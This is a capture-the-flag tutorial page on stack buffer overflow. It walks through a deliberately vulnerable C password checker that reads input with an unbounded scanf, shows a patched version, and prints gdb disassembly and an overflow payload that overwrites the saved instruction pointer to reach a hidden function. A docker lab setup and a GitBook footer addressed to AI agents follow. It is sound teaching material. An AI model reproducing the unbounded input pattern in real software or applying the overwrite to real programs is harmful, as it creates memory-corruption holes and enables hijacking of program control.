> For the complete documentation index, see [llms.txt](https://www.ctfrecipes.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.ctfrecipes.com/pwn/stack-exploitation/stack-buffer-overflow/instruction-pointer-overwrite/challenge-example.md).

# Challenge example

{% hint style="info" %}
This is a basic learning stuff to begin into buffer overflow exploitation. To simplify, all protection such as PIE will be deactivated.
{% endhint %}

## Code source example

{% tabs %}
{% tab title="Vulnerable" %}

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void printSecret(void) {
    printf("Good job !\n");
}

void checkPassword(char *password) {
    char passwd[16] = "";  // array to store the password

    FILE *fp = fopen(".passwd", "r");
    fread(passwd, 1, 15, fp);
    fclose(fp);
    passwd[15] = '\0';

    if (strcmp(password, passwd) == 0) {
        printSecret();
    } else {
        printf("Permission denied !\n");
    }
}

void getPassword(void) {
    char password[16] = "";

    printf("Enter password: ");
    scanf("%s", password);  // read the password from the user
 
    checkPassword(password);

}

int main() {

    getPassword();
    
    return 0;
}
```

{% endtab %}

{% tab title="Patched" %}

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void printSecret(void) {
    printf("Good job !\n");
}

void checkPassword(char *password) {
    char passwd[16] = "";  // array to store the password

    FILE *fp = fopen(".passwd", "r");
    fread(passwd, 1, 15, fp);
    fclose(fp);
    passwd[15] = '\0';

    if (strcmp(password, passwd) == 0) {
        printSecret();
    } else {
        printf("Permission denied !\n");
    }
}

void getPassword(void) {
    char password[16] = "";

    printf("Enter password: ");
    scanf("%15s", password);  // read the password from the user
 
    checkPassword(password);

}

int main() {

    getPassword();
    
    return 0;
}
```

{% endtab %}
{% endtabs %}

Here the objectif is to exploit the buffer overflow in order to execute the `printSecret` function.

## Exploitation

This program is vulnerable to Buffer Overflow. In this case, the `password` array has a size of 16 characters, but the program does not check the length of the input entered by the user. This means that if the user enters a password that is longer than 15 characters, it will overwrite adjacent memory locations.

Here, `password` is set alone into a specific function, so it's not possible to overwrite the `passwd` variable in order to match the if condition.

However, As explained in the "[operation of the stack](/pwn/general-knowledge/operation-of-the-stack.md)" part, at the call of the function the process store the value of the instruction pointer onto the stack. Thus, even though the `password` variable is the first declared variable into the stack frame, there is the saved instruction pointer under it.

```
   address     |   values
---------------+------------------------------------------------------------------
               |   +---------------- HelloWorld stack frame -----------------+
               |   | +------------ stack marge -------------+ +-saved ebp -+ |
   0xffffd264  |   | | 0x00000000   0x00000000   0x00000000 | | 0xffffd298 | | 
               |   | +--------------------------------------+ +------------+ |
               |   +---------------------------------------------------------+
               |   +-------------------- main stack frame -------------------+
               |   | +-saved eip -+ +---- function params ---+               |
   0xffffd274: |   | | 0x565561dd | | 0x00000001  0x00000002 |	0x00000001   |
               |   | +------------+ +------------------------+               |
```

Let's analyze the compiled code :

```wasm
0x0804926a <+0>:	push   ebp
0x0804926b <+1>:	mov    ebp,esp
0x0804926d <+3>:	sub    esp,0x18
0x08049270 <+6>:	mov    DWORD PTR [ebp-0x18],0x0
0x08049277 <+13>:	mov    DWORD PTR [ebp-0x14],0x0
0x0804927e <+20>:	mov    DWORD PTR [ebp-0x10],0x0
0x08049285 <+27>:	mov    DWORD PTR [ebp-0xc],0x0
0x0804928c <+34>:	sub    esp,0xc
0x0804928f <+37>:	push   0x804a031
0x08049294 <+42>:	call   0x8049040 <printf@plt>
0x08049299 <+47>:	add    esp,0x10
0x0804929c <+50>:	sub    esp,0x8
0x0804929f <+53>:	lea    eax,[ebp-0x18]
0x080492a2 <+56>:	push   eax
0x080492a3 <+57>:	push   0x804a042
0x080492a8 <+62>:	call   0x80490a0 <__isoc99_scanf@plt>
0x080492ad <+67>:	add    esp,0x10
0x080492b0 <+70>:	sub    esp,0xc
0x080492b3 <+73>:	lea    eax,[ebp-0x18]
0x080492b6 <+76>:	push   eax
0x080492b7 <+77>:	call   0x80491db <checkPassword>
0x080492bc <+82>:	add    esp,0x10
0x080492bf <+85>:	nop
0x080492c0 <+86>:	leave  
0x080492c1 <+87>:	ret
```

Here the process take 0x18 bytes of marge. (`0x0804926d <+3>: sub esp,0x18`). remember that in the source code, the `password` variable is 16 byte long (0xf), so there is :

{% hint style="info" %}
We insert 16 times 0x41 into password in order to make it easier to view it.
{% endhint %}

```
 address     |   values
---------------+------------------------------------------------------------------
               |    +--------------------- password -----------------------+
   0xffffd260  |    | 0x41414141   0x41414141    0x41414141     0x41414141 |
               |    +------------------------------------------------------+
               |    +------ stack marge -----+ +-saved ebp -+ +-saved eip -+
   0xffffd270  |    | 0x00000000  0x00000000 | | 0xffffd298 | | 0x565561dd |
               |    +------------------------+ +------------+ +------------+
```

{% hint style="info" %}
In order to overwrite EIP, the input must also overload the margin and EBP, which is password (16) + marge (8) + EBP (4) + targeted adress
{% endhint %}

It's possible to recover the addresse of the first instruction of the `printSecret`function :

```wasm
gdb-peda$ disas printSecret 
Dump of assembler code for function printSecret:
   0x080491c2 <+0>:	push   ebp
   0x080491c3 <+1>:	mov    ebp,esp
   0x080491c5 <+3>:	sub    esp,0x8
   0x080491c8 <+6>:	sub    esp,0xc
   0x080491cb <+9>:	push   0x804a008
   0x080491d0 <+14>:	call   0x8049070 <puts@plt>
   0x080491d5 <+19>:	add    esp,0x10
   0x080491d8 <+22>:	nop
   0x080491d9 <+23>:	leave  
   0x080491da <+24>:	ret    
End of assembler dump.
```

{% hint style="info" %}
The address of the first instruction is `0x080491c2`
{% endhint %}

Therefore the input to jump in is "A" \* (16+8+4) + "\xc2\x91\x04\x08"

```bash
$ echo -ne "AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc2\x91\x04\x08" | ./chall
Enter password: Permission denied !
Good job !
Segmentation fault
```

{% hint style="info" %}
The address should be sent in little endian here. See [Endianness](/pwn/general-knowledge.md#addresses-endianness)
{% endhint %}

{% hint style="success" %}
the exploit work because, when the process end the `getPassword` function, it will restore the instruction pointer with the value saved into the stack, but this value was overloaded with a controled value. Thus the instruction pointer now target an arbitrary address unless the expeted next instruction.
{% endhint %}

## Exercice

If you want to try this exploit by yourself, you can pull [this docker image](https://hub.docker.com/r/thectfrecipes/pwn/general) :

```
docker pull thectfrecipes/pwn:eip_overwrite
```

Deploy the image using the followed command :

```
docker run --name buffer_overflow_eip_overwrite -it --rm -d -p 3000:3000 thectfrecipes/pwn:eip_overwrite
```

Access to the web shell with your browser at the address : `http://localhost:3000/`

```
login: challenge
password: password
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://www.ctfrecipes.com/pwn/stack-exploitation/stack-buffer-overflow/instruction-pointer-overwrite/challenge-example.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
